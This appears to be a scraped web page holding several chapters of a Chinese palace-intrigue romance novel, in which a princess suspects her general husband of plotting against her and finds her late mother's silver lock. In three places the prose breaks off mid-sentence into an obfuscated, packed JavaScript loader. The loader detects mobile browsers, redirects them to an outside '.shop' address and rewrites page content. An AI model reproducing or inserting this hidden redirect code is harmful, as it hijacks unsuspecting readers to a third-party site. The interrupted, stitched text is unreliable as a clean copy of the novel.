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赵初禾看着他离去的背影,方才怎么也止不住的眼泪,如今霎时间便干涸了。 萧冽走进书房,关上房门的那一刻,面上所有的温柔瞬间敛去,取而代之的是一片冰冷与凝重。 抬手揉了揉眉心。暗处,一道黑影悄然出现,单膝跪地:“主子。” “继续盯着,不要打草惊蛇。”萧冽沉声道,“保护好公主的安全,不许任何人伤她分毫,哪怕是付出再大的代价,也在所不惜。” 差一点,又差一点便又失去她了。 与此同时,阿鸾神色凝重地走到赵初禾身侧,递来了两个小物件,压低声音道:“公主,暗卫在书房外檐下,捡到了这个银锁,至于这个宫牌碎片,是在杂役身上搜到的。” 她掌心摊开,静静躺着一枚极细小的、银质刻花小锁。 那锁纹样式极旧,花纹繁杂,并不像近几年宫中之物的做工,更不是将军府寻常配饰,边缘磨损严重,像是被人常年握在手中,摩挲了多年。 赵初禾指尖一触,心脏骤然一缩。这枚小锁……她认得。 “公主,这锁……是温家旧物。是当年贵妃娘娘薨逝前一直贴身佩戴,最后却不知所踪的那枚。” 赵初禾攥紧那枚小锁,掌心被银锁边缘硌得生疼,没错,这是她母妃的物件,是母妃的遗物。 指尖又抚过那枚小小的碎片,宫中之物。那是皇宫独有的上等玄铁,旁人根本无法仿制。 “阿鸾,那杂役身上是不是也有刺青?是不是和昨日刺客身上的一样?” “是,但是这个杂役身上的刺青有点新。” 那就对了,宫中侍卫素来讲究通体无疤,怎会有刺青?而江湖之人恰恰与之相反,那杂役定是临时纹上冒充的。 如果她没猜错的话,昨日刺杀她和今日毒害她皆出自一人的手笔。 至于阿鸾所说刺客的武器不是很趁手,正是因为是宫中侍卫为了冒充江湖杀手临时换了自己熟悉的武器。 这一桩桩、一件件竟丝丝缕缕串连起来。 赵初禾没有自己预料的恐惧,眼里甚至是前所未有的坚毅,想害她的人,竟然是来自皇宫吗? 她淡然一哂,不管何人想要加害于她,不管萧冽是何立场,这都无妨,尽管来吧,她早已有了准备,只待坐观这棋局,究竟是谁技高一筹。 她此刻更为好奇的是,母妃的遗物,如何会在萧冽手里? 母妃的死,难道另有隐情? 4. 心防·情难自制 暖阳洒落在假山一隅,池塘被照的波光粼粼,金光夹杂着蓝的、紫的,晃人眼的色彩,是初春,连空气里都弥漫着甜腻之味。 孩童咯咯不止的笑声为底,惹得在场众人皆满脸堆笑地看着她。“母妃,您快瞧我的纸鸢,我放得高不高呀。” 赵初禾拽着风筝线止不住得笑着,一动线轴就笑得越发厉害,好像是戳中了笑穴。 旁边的石凳上坐着一位身穿艳色,分外华贵的女子,看不出她的年纪,她的身上存在一种近乎矛盾的年轻又端庄之感。 若用花来形容人,她是牡丹国色,无人胆敢与之争锋,女子周身气焰太过具有攻击性,总感觉是个不好惹的。 可此刻眉眼间却尽是柔情,她看着自己最心爱的女儿,手中圆扇慢悠悠地扇动着,“初儿,跑慢一点。” 小女孩听到自家母妃唤她,将自己心爱的纸鸢甩给旁边侍女,一股脑地冲到了母妃怀里。 “母妃,我厉不厉害!” 眼前这个总是对她笑着的,不吝啬夸奖的母妃突然停滞不动,“母妃,您怎么了?怎么不说话?” “母妃?” 赵初禾眼角的泪珠欲坠不坠,温度比体温低一些,是这一滴冷泪将她拉回现实,她身处的地方,是镇远侯府,不是皇宫,更不是什么紫棠宫。 更不会有什么母妃,她的母妃离开她很久了。 她抱紧了自己的膝盖,侧着头和膝盖贴得更紧了些,“母妃……您怎么舍得将我一人撇下呢……” 她的泪一路向下,滴落在锦绣织样的被子上,手伸到枕头下,拿出那枚精致的银锁。 探查宫中秘闻乃是重罪,难不成萧冽想要诱她从而离间她和父皇? “父皇……我该怎么办……”赵初禾自萧冽回京那日,脑中的弦便绷得越发紧了,自己的性命不能握在自己手中之感实在难熬。 过几日她和萧冽按规矩应当回皇宫一同拜见父皇,她很想将一切告诉她最亲近的人。 但她不会,且不说单凭梦境给萧冽定罪太过荒谬,更重要的是,她已经下定决心,要用自己的力量护住自己和父皇。 既然亲手选择了这条路,无论如何也要走到底。 赵初禾将银锁放到了铜镜一旁的木质带锁小盒子里,阿鸾绾发的的动作一向轻柔,让她有了片刻的闲适,眯缝着眼问,“阿鸾,查得如何?” “公主,姑爷的人手脚很麻利,下毒的食盒我们连碰也碰不到,再给奴婢一点时间。” “嗯,是我太急了,辛苦你,阿鸾。”赵初禾叹了口气,手托着下巴,又说,“如今我能依靠的只有你了。” “吩咐下去,就说我害怕得紧,染了病,用不得别人伺候,把正院的人手都换成我们的。” 赵初禾遣了阿鸾下去,自己静坐在方桌前,“也顺了我的意,不然我还要耍耍脾气,费一番功夫才能将里里外外换一遍血。” “不过,是时候会会萧冽了。” ——— 外院书房 “将军,将军府现下到处都是公主的人了。” 萧冽执笔的手一顿,略感意外地抬眸,“哦?” “将军,恕属下直言,公主分明就是疑心于您。” “谢寻,慎言。” “属下多嘴了。”名叫谢寻的人单膝跪地,双手抱拳。 “起来吧,别动不动就跪,你我之间无需这般。”萧冽眼睛扫过他,略带无奈的摇了摇头说道,“这些日子府里我抽不开身,营里你去帮我盯着。” “是。” 待谢寻身影消失,萧冽才将手中的信件叠成了几折,收到了匣子里。 他如何不知初儿疑他,不过无论她如何待他,府内多一个人,她便多一份安全,让她知晓府中眼线众多,也是个好事。 这府中,可不仅仅有他和她的人手。 “将军,初儿带了热羹,可否允我进去?”赵初禾轻扣门拴,柔声问道。 几乎一瞬间,赵初禾便看到了里面那人的身影闪到了门的另一头,萧冽亲自为她打开门,“初儿怎么来了,应当好生休养。” 话里有着微乎其微的责怪,还有藏不住的喜悦,赵初禾听起来只觉不解,此人当真叫人捉摸不透。 是在关心她,叫她多休息,倒又十分的期待她,希望她多来瞧他。 到底让不让人来? 手里的热羹被他拿了去,赵初禾拿起手中的娟帕,掩着脸咳嗽了两声——假的不能再假,可走在前面的人好像信了。 “初儿自幼身体便弱了些,先前又受了惊吓,我这就送你回去休息。”赵初禾眼瞅着被下逐客令,她来可不是想单纯送什么热羹,若此刻就走了,那还能套成话吗? 她忙不迭地说道,“我亲自送了这羹,将军难道不尝尝吗?” 说完她就后悔了,因为萧冽真的听进去了,大有一种要将盘子碟子都吞入腹内的架势。 赵初禾看着他那番模样,分明写着,“初儿给我的,是毒药我也甘之如饴。” 突然像被蛊了心神一般,她坐到了他一旁静静地看着他,“奇怪,喝汤的不是他吗,怎么好像是我中毒了。” 她忍不住地想,“不对,我未曾给他下过什么毒。” “在想什么?”视线就这样交汇在一起,赵初禾愣了片刻,听着他的声音回神,却被他捉了个正着。 “没……没想什么。”说这话的时候赵初禾的手缩到了广袖内,暗自搓了两下。 “是吗?”萧冽心中升起了逗弄她的心思,有意无意地凑到了赵初禾面前。 赵初禾看着这张越来越近的脸,只觉着胸膛里有什么东西要跳出来,脸也烧得不行,下意识双手扶住了脸蛋。 “你……你干什么……” “哈,我能做甚,初儿是为了下毒一事而来,是也不是?” 赵初禾看着萧冽略微正了神色,心中也渐渐平静下来,怎么能忘了正事。 只一瞬间,她眼中便盈满了泪,像是算准了什么一般,精准地将自己最脆弱的脖颈也露出来,“初儿从未经受过如此险境,将军若是查到了什么,定要知会一声,也好让初儿有所准备。”一边哭一边说道。 她抬眸看到萧冽还是那般无措,却又不敢上前的模样,只觉着好笑,又难免叹到这人的演技比她还要好上几倍,莫不是去北疆学了一身这样的功夫? “初儿,你只需知道,天下唯有我不会害你,我定会护好你。” 只听萧冽说完,赵初禾还来不及做出反应,就看到他精壮的手臂缓缓向她伸过来,欲将她揽入怀里,她心中警铃大作,却一时间不知如何躲闪。 就这样,僵直地入怀。 比恨意先到的是他身上的松香气,赵初禾看四处都没有焚香的炉子,显然他没有什么熏香的习惯。 奇怪的是他身上的味道并不难闻,让她身上炸起来的毛稍微顺了一些。 萧冽沉稳的呼吸声还在头顶上方阵阵传来,太近了。 “下毒之人已死,线索虽说没断,但要查起来也需费些时日。初儿放心,伤害你的人,我定让他付出代价。” 他的样子不像是没查到,怕是不愿让她知道,他在隐瞒什么? 赵初禾一动不动,顺着他的力气凑近他,眼底却是掩不住的阴郁,她只觉着自己格外不顺自己的意。 她不信他的鬼话,也不屑于他的怀抱,可身子就是不争气的放松了下来,连同着这两日的彷徨与恐惧,仿佛一同消散了。 赵初禾你怎么这样。 她仓皇地逃走了,甚至不知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵初禾缓缓起身,走到案前,铺开一张宣纸,提笔蘸墨,写下一份礼单。 “明日,以我的名义,给户部尚书备一份厚礼。就说是……感谢他当年对母妃的照拂,记住,动作不要太大。” 阿鸾愣住了:“公主,那位大人,不是一直和将军不对付吗?” 赵初禾将笔掷于案上,“敌人的敌人,就是朋友。” 她提笔,在礼单的最后,添上了一行小字,“请大人共赏北疆奇珍。” 无非是多了一个或者半个想要对付她的人,况且是敌是友还有待考究。 若在暗处的人来自皇宫,她暂时无从查起,也没有什么头绪。 皇宫是她家,父皇给她垒的再坚硬不过的安全港,从来没人敢在这里害过她。 不过,出了这个安全范围就说不准了,一个母族失势的正当宠的公主,再加上她也不知道自己无意间得罪了多少人,她的仇人应该也不少……… 若真是萧冽想要害她,那她的敌人唯有萧冽一人。看来……突破口还是在萧冽身上。 “将军,公主先行休息了。” “既如此,便不打扰初儿了,我回外院。” 门外的声音不大不小,却一字不落的传入她的耳朵,让她心生烦躁,她真的不想再听到这个人的声音了。 她觉着恶心。 赵初禾没有去看窗外,而是拿起那枚凉冰冰的银锁,紧紧攥在掌心,将那点不该有的悸动,统统碾碎在掌心的纹路里。 “萧冽,”她唇齿轻启,声音低得吓人,“这出戏,你想怎么演,我便怎么陪。 5. 密闻·深宫迷云 “初儿,别怕。” 是夜,四周的场景再熟悉不过,赵初禾又坠了这个梦境之中,只是这次还没来得及喝那碗毒药,她耳边便一直徘徊着一句话。 再度睁眼,明黄的床帷透过了零星一点的日光,天半亮不亮的,惹的人有些烦闷。 也是这时候,她知道是何许人在扰她的梦,“初儿,起身了吗?”是萧冽的声音。 不止这一声,连带着噩梦里的一起,他倒是会给梦添花样的。 说不上来为何,她确实没有前几次梦魇的那般严重,锥心的疼痛和刺骨的寒冷也没那么真实了。由此,她也有了力气回应门外那人。 “将军,容我片刻。”她的嗓音有些干哑,沉沉的,还带着几分倦意,使得吐字也软绵绵的。 是她没有防备的模样。 门外那人好似愣了片刻,格外没脾气的退后了几步,语气好像比方才还要轻柔,他说,“不急,初儿你且慢慢来。” 话虽如此,赵初禾也不敢刻意拖延,催着阿鸾伺候她梳洗。 不难猜出萧冽是来叫她一同给老夫人请安的,本身就因的一些缘故耽搁了,想来也算她这个孙媳妇怠慢了长辈。 赵初禾拿起手边一支软金鬓簪,待阿鸾戴上,她才满意的看着铜镜里那只娇俏的牡丹颔首,“去请将军进来。” “是。” 萧冽推门而进,映入眼帘的是他新婚妻子穿着粉蓝相间的花卉刺绣襦裙,起身迎接他时裙摆微微飘起,轻盈美极。 正当他的目光瞧到那只粉牡丹时,赵初禾走近了他,分外亲密的模样。 “初儿今日,甚美。” 赵初禾早就听惯了这样的无心或者有意的夸赞,她倒是也没当回事。 她今日确实用了心,听闻萧家老妇人素爱活泼伶俐的女子,她倒是不会天真的想要跟他的祖母打好关系,好免了自己的杀身之祸。 只是她真的希望给那位慈祥的老人家留下一个好印象,她见过她的,幼时一次她被萧冽欺负得狠了,竟捅到了老夫人那里。 这位平日横眉冷眼的将军府女主人,就硬生生地哄了她一个晌午,甚至听说回去还狠狠地教训了自家的皮猴子。 她是喜欢这位祖母的,抛开一切不谈。 只是不知道这样顶好的人,怎会有如此冷血的孙儿。 “将军,我们先行一步,莫要让祖母等急了。” 两人并肩顺着傍水连廊到后花园,“再忍忍,穿过这个后花园就到了。” 赵初禾心里嘀咕着,在旁人面前还是要装装样子的,毕竟她在世人眼里爱了萧冽整整十年,况且,她也不能让萧冽觉察到她的异样。 一路上她都拼了命地往身旁之人身上贴,逐渐攥紧的手指却还是不经意间表露心径。 纵是再近的距离也难以化开二人之间那道看不见的屏障,平日里赵初禾步态肆意张扬,如今竟是连脖颈都耷拉着——这花园的小径有多少个石块她也要知道个大概了。 旁人看去只觉着她羞赧,只有当事者知道是怎样的相见无言,二人一路无话,她早已经忘了她是怎样和萧冽说话的,也忘了自己只要在萧冽身边就会叽叽喳喳地睡个不停。 一般这时萧冽不会多言,只不过随意说出一句话就会把赵初禾气的半死。 ——— “你上次拿走我的珠花怎么不还给我,那可是本公主最喜爱的一支!” “你怎么不说话?” “喂!我看到你偷笑了!萧冽—!” 半大的女娃娃“噗通”一声撞到了前头人的背上,萧冽却是没事儿人一般,慢悠悠地转过身来,“什么珠花?我怎么没见过?” 赵初禾捂着鼻子喊痛,许是没受过这样的委屈,连眼角也带上了泪花,“就是你前几日说好看,本公主好心拿下来给你瞧瞧,你一把抢走就不还我的那支!” “哦——我知道了,是挺好看的。”萧冽说话的时候故意拉了长音,故作姿态的“想起来了”。 “本公主是让你还!回!来!” “萧冽——萧冽——你慢些走,我不跟你玩了!” “真是的,还你就是了,每次都这样吓我。”萧冽瞧见小公主又双手叉腰,气鼓鼓地要同他绝交,立马两步并一步地走到她身边。 他再没有逗弄她的意思,话语间带着丝丝不安。 “哼!罢了罢了,本公主不差这一个珠花,既然你喜欢,就赏你了。” “是是是,多谢公主赏赐。”萧冽眼睛笑得弯弯的,好像是得到了什么宝贝,说话也轻快起来。 恍然间,小公主再次走过御花园的假山,仿佛在昨日,只不过物是人非。 赵初禾感到身旁的人走得极慢,刻意放缓了步调等她,分毫欲感谢他的意思都没有,在他身边,只觉着煎熬。 二人维持着表面的恩爱进了颐养堂,赵初禾一时间看呆了,老夫人端庄坐着,只是鬓角添了几丝白发,岁月丝毫没有压弯她的脊背,只是徒增了风雅。 最让赵初禾意外的是,萧老夫人一改前些年那副让人惧怕的样子,只有宁折不弯的将门风骨。 其实也不难懂,萧家世代镇守北疆,男丁尽数参军,留下家里的女子撑着门面,若不是老妇人前些年硬气,不知要吃多少亏。 也正是这会儿,赵初禾确信,这位英雄一般的祖母,确实是那位在她哭泣时耐心哄她的人,和蔼可亲,才是真实的她。 “不必担忧,祖母很好相处的。” “嗯,我知晓。” 老夫人在看到赵初禾的一瞬间就喜笑颜开地迎上来,那双有力的手紧紧握住了她,拽着她就往屋里走,“这臭小子,可算是把我们初禾带回家了。”祖母笑起来眼角有几道细纹,眼睛里透露出来的光让赵初禾倍感亲切。 “家?祖母在说家吗?”赵初禾愣住了,脑子里只是无端的徘徊着这一句话。 “看看,怎么给初禾吓傻了?是不是你这小子没护好她?” “祖母,是孙儿考虑不周,我……” “行了行了,上下嘴唇一碰谁都会说,还是做出点样子来。”还没走到内室,萧老夫人就将萧冽数落个狗血淋头。 赵初禾鲜少看到萧冽这番模样,平日里萧冽虽话不多,但是从未看到过谁能把他治得这样服帖,想不到将军还有这样的一面。 他们两个就这样你一句我一句的,完全是祖母单方面的指责,萧冽也不恼,摆出一副负荆请罪的模样来。 赵初禾坐在一旁一脸看戏的模样,却感受到了萧冽往她这边来的目光,他是在……偷看她? 这想法一经出现就将赵初禾吓了一跳,他是要看她如何反应吗? 赵初禾连忙清了清嗓子,“祖母,不要怪将军,是贼人太过狡猾。”赵初禾的声音似泉水温温柔柔地流出来,让老夫人的心也软软的。 “你啊,就知道替他说话,打小便是这样。”老夫人哪里知道赵初禾早就不再心悦于自家孙儿,分外心疼的摸了摸她的手。 “既然初禾替你求情,我便不多说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393278|200341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,赶紧回去查清楚了再来颐养堂交代。”祖母一刻间就变了神色,分外严肃地冲着萧冽说。 “是,那孙儿先告退了,初儿……” “让初禾陪我这个老太太说些话,你自己回去吧。” “好。” 萧冽向外走的同时也不忘回头看看内室里的二位,背影消失的时候才收回了目光,“好了,还要看到什么时候,就这么喜欢那小子?” “祖母……” “好了好了,不逗你了。” 老夫人取下手腕上透亮莹光的玉镯,顺着就往赵初禾手上戴,“这是我们萧家祖传的镯子,也该传给你了,祖母真心希望你们小两口啊,把日子过好。” “祖母,这太贵重了,我不能收……” “什么贵重,初禾什么宝贝没见过,莫要嫌弃这镯子就成了。嫁入萧家的女人不易,总是要承担更多,祖母心疼你。” 祖母真挚的眼神像是要把赵初禾烫穿了,不知何时连她的眼里也有了泪,“既然祖母这么说,我就收下了,您放心,初禾什么都不怕。” “初禾是最招人疼的,只可惜温贵妃没看到你如今的模样。” “祖母,您认识母妃?” “岂止是认识,你母亲本该是自由的女子,是皇宫害了她,可怜她早早去了。”老夫人拾去眼角的泪,吸了口气,“行了不说这些了,怪我,让初禾想起这些事了。” 赵初禾连耳朵都竖起来,仔细的听着老夫人的一字一句,半个字也不敢落下。 她还想让老夫人多回忆些往事,只可惜老夫人唯恐赵初禾伤怀,不敢再多说一点。 “不管以前如何,只要进了这萧府,祖母和萧冽定会护好你,别看那小子小时候总欺负你,现在又话少的可怜,他可是七岁就把你放在心尖尖上了。” 赵初禾心觉着讽刺,却又不好让祖母看出什么,随声附和着祖母,“嗯,有祖母和将军,初禾不怕。” 二人又闲聊了几句家常,外头的丫鬟一趟趟地走过来,许是到了备膳的时辰了。 “时间不早了,快回去和萧冽用膳吧,祖母便不留你了。” “是,初禾日后多来看您。” 出了内室的门,赵初禾深吸了口气,揉了揉方才红了的眼眶,“阿鸾,我们回去吧。” 什么叫……皇宫害了母妃?萧冽拿着母妃的银锁又是怎么回事? 萧家到底知道什么?又充当了什么角色? 一路到正院,赵初禾面带疑虑之色实在太明显,也太沉浸,迎面撞上了萧冽也没有反应过来。 “初儿,在想什么?有心事?” “啊,将军,刚才在想一些旧事。”赵初禾显然被突然的一句话吓了一跳,她想的太过入迷,萧冽又太过神出鬼没。 “正好,皇上给萧家赏赐,初儿可要去看看?” “我乏了,有劳将军清点了。” “也好,初儿先回去休息吧。” 赵初禾和萧冽拉开了一段距离,阿鸾才好容易有了时间说话,“公主,户部尚书回信了,听说今日尚书大人从御书房出来面色不是很好。” “嗯,我知道了。”赵初禾心下念着母妃之事,又记挂着尚书的回信,不知他会作何反应,只愿他能破解她的僵局。 信纸薄得可怜,也只有寥寥数语,“多谢公主美意,本官心领,礼物已收下。” 本公主是单单给你送礼的吗?尚书大人这是不想入局,还是不信任于我,亦或是根本就不知道我意在什么? 6. 孟冬·暗潮又起 皇宫,南书房。 殿内檀香飘散,却掩不住满室凝重的气氛,明黄绸缎铺于御座,座上之人大怒:“大胆!朕看你年纪大,头脑也不中用了,如今连这种话也胆敢说出口。” 小太监缩在殿门角落,离皇帝最远之处,宽大的衣袍止不住地抖,险些被这一声呵斥吓软腿。 “陛下息怒,此乃老臣失言之过。”说话之人身穿石青色官袍,袖口被磨得泛白。他说话时却不紧不慢,沉稳从容,万没有惶恐之意,就连叩首动作也十分缓慢而僵硬。 “罢了,起身吧,往后这般言语,休要再提,连这种心思,都不要有。” “臣遵旨。”他缓缓直起身子,脊背依旧挺拔,但鬓角的微白却显露出沧桑之感。 “朕乏了,退下吧。” “臣告退。” “替朕送尚书大人出宫。”李禄一直待在一边,得令立马抬腿相送,手中的拂尘轻扬,脸上不知笑出几层褶纹。 “尚书大人,请。” 二人一前一后走出殿门,前头那人神色凝重,不忘拱手说道,“有劳公公相送。” 听闻这话,李禄更是将嘴角往上提了三分,“郑大人哪里的话,陛下只是一时龙颜不悦,切莫放在心上。” 李禄侍奉皇帝左右,若是没这点识人的本事,恐怕有几个脑袋也不够掉。 郑瑞林堂堂正二品户部尚书,是皇上一手提拔起来之人,近十年来,寒门学子也不过出了这样一位大人物。 别说皇上今日厉声斥责于他,哪怕将他关进大牢,日后恐怕也能翻身,郑瑞林就是这样一位红人。 只是他为人太过低调,由此巴结他的人少了些许,不过李禄心里跟明镜似的,这位大人不显山不露水,但在皇上心里定是有位置的。 郑瑞林吐了口浊气,连带颌下胡须轻轻发颤,“臣心忧国事,触怒龙颜,望公公替臣美言几句。” “大人忠心耿耿,陛下心里自然清楚,日后定会想起大人的好。您先回府歇息,保重身子要紧。” “多谢公公宽慰,臣先行告退。” “大人慢走,奴才恭送大人。” 郑瑞林步步踏着宫砖前行,这宫道他走了十几载,恐怕闭上双眼,也能辨清方向。两旁官员时不时同他伸手作揖,四下的声音也和昨日无甚差别。 明明一切都一样,可他只觉压抑,宫墙楼宇压得他喘不过气,走快些吧,再快些。 直到走出宫门,两旁小厮伺候着上了马车。那车身早已破旧不堪,漆皮堪堪掉落,边角被磨得发白,帘布洗得发旧,哪里有半分高官之态。 他回过神来,阖上双眼,适才平静无浪的面色终于显露出了愠怒,而夹杂着深深的忧虑。 没过多时,郑瑞林突然抬眸,幽深而混浊的眼中透露出希冀之色,他抬手掀开帘布,冲着外头赶车的小厮急忙说道:“速速回府,快些,我有要事。” 话音刚落,他坐回原位,心中暗自懊恼。 公主殿下的信,他不该那般回。 —— “阿鸾,快随我去前院瞧瞧父皇赏了些什么物件。”赵初禾放下手中薄如蝉翼的信纸,大失所望。 她本就是为它而来,怎料石沉大海,没掀起一点水花。是她想得太过简单,尚书大人怎会因她寥寥数语便轻信于她。 她久居深宫,不抵母妃聪慧,从未思虑过朝堂之事。 公主干政,乃大忌,遑论她如今为人妻,而夫君又是这般身份,稍有不慎便会引火上身。 可是赵初禾顾不了这么多,倘若父皇真怪罪下来,她也有信心,先一步将萧冽谋反的罪证呈到他面前。 “公主,听说皇上赏了不少奇珍,定是知道公主受了委屈。” 赵初禾近来忧思,紧蹙在一起的眉可算舒展开来。父皇日理万机,却总是将她挂在心上,如若真有那么一天,肯定不会怪罪下来,许是她又多想了。 “嗯,快随我来。” 主仆二人一左一右走出房门,赵初禾自幼便是如此,世上的珍宝她不敢说尽数见过,倒也说得上是十有八九,可每逢父皇给些什么物件,她总是欢喜得很,倒像个孩子。 赵初禾因而仿佛回到了幼时,随母妃领赏的时候,如此一来,她脚步轻快,眉眼弯弯,嘴角勾起自然的弧度,两颊蔓上薄薄一层红晕。 萧冽自回廊转过来,映入眼帘的就是这般美景,如同初见那日,在皇宫里寻不到方向,走着走着便听到阵阵笑声。 好生奇怪,本不该有这样的声音,宫内女子不是最讲究娴静淑德的吗? 自然,他也是听别人说的。 他倒不这么认为,人活一世,想笑不能笑,想哭不准哭,还有什么劲? 他正想着,只感声音的主人离他越来越近,她跟身旁年岁相近的婢女有说有笑,不知何时笑容竟跑到了他的脸上。 春风暖暖的,可暖不过他的心田,那里有种奇怪的悸动,使得他想靠近她,又想立马躲在那块巨石后头。 可这些终究没有奏效,他愣在原地,看着她离他越来越近。 萧冽忘了自己说过什么上不了台面的话,他只记得她笑起来像暖阳,闭上眼好像还能嗅到丝丝甜腻的香味。 他的公主,就该永远如此。 “将军?将军?在想什么呢?” “没想什么,方才见你面色不好,就来看看。”萧冽鲜少如此,战场历练几年,他一刻也不敢松懈。而如今,赵初禾立在对面,甚至唤了他数次,竟才勉强回神。 “既如此,便一同前去听赏吧。”赵初禾并未多想,此刻,她全然不顾萧冽又动了什么歪心思,侧着身子做出邀行之举。 萧冽颔首,双手背过身后,小步伴着赵初禾的步速。二人的欢声笑语,因着第三个人的造访戛然而止,周遭气氛略感局促。 就这样走出一段距离,罪魁祸首好像也认为应当作出些改变,思虑再三,他淡然开口,“我方才,忆起你我初见那日。” 遇见他令赵初禾心绪稍感不顺,不过也不算太过厉害。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393279|200341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现下听及他言语,直觉格外烦躁,真是有劳他还记得。错了,谁知道他是不是在诓她,“将军还记得?” “自然……”萧冽定了神色,紧紧盯着她的眼睛,欲将藏匿的心意全盘托出,“那是我……” 话音未落,远处传来内侍尖细的嗓音,“琉璃莲花灯一个,揽秀宫灯一个,龙鳞护甲一个……” “奇怪?怎么感觉没有我的啊。”赵初禾问过萧冽,听赏之声早就穿入她耳内,却在听到一个个无趣之物时露出失望之色。 也就没听到后话,他说,那是他对她一见钟情的日子,怎么会忘呢? 萧冽看着公主失望的神色,口唇翕张,提了几次气也未再言语,而后轻声叹了口气。 内侍立于堂中,手捧檀木盒,径直走向老夫人,盒盖微启,里头是一对素面银制镇纸,光泽收敛,沉静安然,背面刻着一行小字,“心安则安,言短则长。” “皇上念及老夫人曾伴先朝,略知旧事,特赐银镇一对,愿老夫人心有定数,言有所压。” “老身谢过皇上恩赐,谨遵圣意。” “老夫人快快请起。”内侍连忙一把上去虚扶,“皇上定是念着旧情,特意叫我亲自将此物交付于您。” “公公言重了,老身只是个不中用的老妇人喽。” “祖母切莫这般说,有您在,初儿便有靠山,府中上上下下何处离得开您呀。”赵初禾老远便听见二人的对话,她连忙走过来宽慰祖母。 好啊,她父皇亲自交代给祖母礼物,却没有她的! “初儿这孩子,真会哄我老人家。怎的过来了,身子不爽利便多歇息,旁的事情就交给你夫君,莫要太过操劳。” 祖母话音刚落,二人不约而同地红了脸,唯留下老夫人一人不明所以。疑惑地看着自家孙儿和孙媳妇,笑着摆了摆手,“罢了,祖母老了,不懂你们在想什么,我也该回去了,萧冽,陪好初儿。” 目送祖母远去,两张通红的脸才稍稍缓和了些许,这对少年夫妻难得有了默契,心中所想也尽是一句话,“祖母说的什么夫君……” 赵初禾只觉羞赧,圆眼转个不停,分外想要逃离此处的模样,只是还没等她开口,“初儿,正院备好膳,你先行一步,我随后就到。” 赵初禾颔首,见萧冽朝着同她相反的方向走去,双手轻拂脸颊,“阿鸾,今日怎么这般炎热?” 阿鸾没敢应,因为……如今明明是孟冬。 —— 外院书房 萧冽屏退左右,独自一人踏入殿内,一改赵初禾面前之态,笑容收敛,手攥成拳,周身的气压低得可怖。 他步履微沉,一步一步地踩着冷砖,目光晦暗,眉头紧锁,行至桌案前,未如往常一般入座,伸手将黑漆鎏金匣子抽出,拿出里头的信纸。 萧冽沉了口气,像是下定了什么决心,缓缓展开,上面赫然写了一行字,“章远归京,珍重。” 他无论如何也不愿走到这一步,可一切的一切,都正朝着那个方向发展。 7. 假宴·茶暖心疑 “初儿,多吃些。”萧冽目光触及圆桌最远端,那盘晶莹剔透的水晶脍,不动声色地拿到赵初禾面前,“我记得初儿颇为喜爱这道菜。” “味道虽好,却是寒凉之物,如今已然入冬,万不可贪凉。” 赵初禾虽不讲究“食不言,寝不语”,可对于萧冽,她的确没什么心思同他交谈,只好点头应和,全身心投入到饭桌当中。 可身旁之人似乎不愿就此被忽略,“你手下之人是如何伺候的,连这点道理都不懂吗?需不需要我派几个人手……” “不必!”萧冽话音未落,赵初禾已然放下手中玉箸,瞪大眼睛看向他,“我的意思是,是我偏要让后厨添上这道菜的,只是觉着近来有些燥热,想吃些清爽之物罢了。” 赵初禾声音越来越小,直到后来的几个字几乎没了动静,她看着萧冽无甚反应,莫非是没听见? 不该如此,他们习武之人不是耳力非常吗? “嗯,我知晓了。”良久,萧冽终于憋出句话来,语气没有任何起伏,不知是何态度。 赵初禾唯恐方才反应太大,在他面前露出破绽,又兀然开口,“宫里的人我用惯了,若是给我几个生人,我怕更是不自在。” “嗯。”又是此般反应,赵初禾怎么不记得他这般不会与人交谈,明明幼时话多得很,也许是不想同她多言。 不过赵初禾并未有失落之感,也落得清净,他不说话,倒也免得她费功夫同他周旋。 思虑再三,胃口竟也好起来,婢女立在一旁,布膳的动作也愈发跟不上了,这边刚为赵初禾盛上一碗热汤,就听到身边之人蓦然开口。 “再过半月便是祖母生辰,这些年来我不在京中,想来祖母也从未替自己张罗,如今不同,孙儿孙媳皆在身边,我欲交给初儿操办生辰宴,不知初儿意下如何?” 汤匙触及唇边,还没来得及入喉,赵初禾连忙放下手中瓷碗,“初儿愿意,将军尽管交给我吧。” 萧冽双手放于腿上,正了神色,“只是……” “怎么?将军莫非不信我?” “并非如此,只是下月初三是归宁之日,而生辰宴也临近,时间是否太过紧张?”萧冽狭长的眼而今充斥着忧虑,仿佛只要赵初禾说出一个不字,他就会将所有事责皆揽下。 赵初禾非但没回绝,还显得喜上眉梢。 她自然愿意,一来赵初禾的确喜爱祖母,虽说公主殿下千娇万宠,但身边亲近之人少之又少,唯有一位日理万机的父皇,平素也说不上几句话,便也少了些许长辈的疼爱。 可她自打见到祖母,就分外亲切,无论萧冽如何,她做一日孙媳妇,便尽一天孝。 二来,如若可邀尚书大人赴宴,亲自探探他的反应,岂不好事一桩? 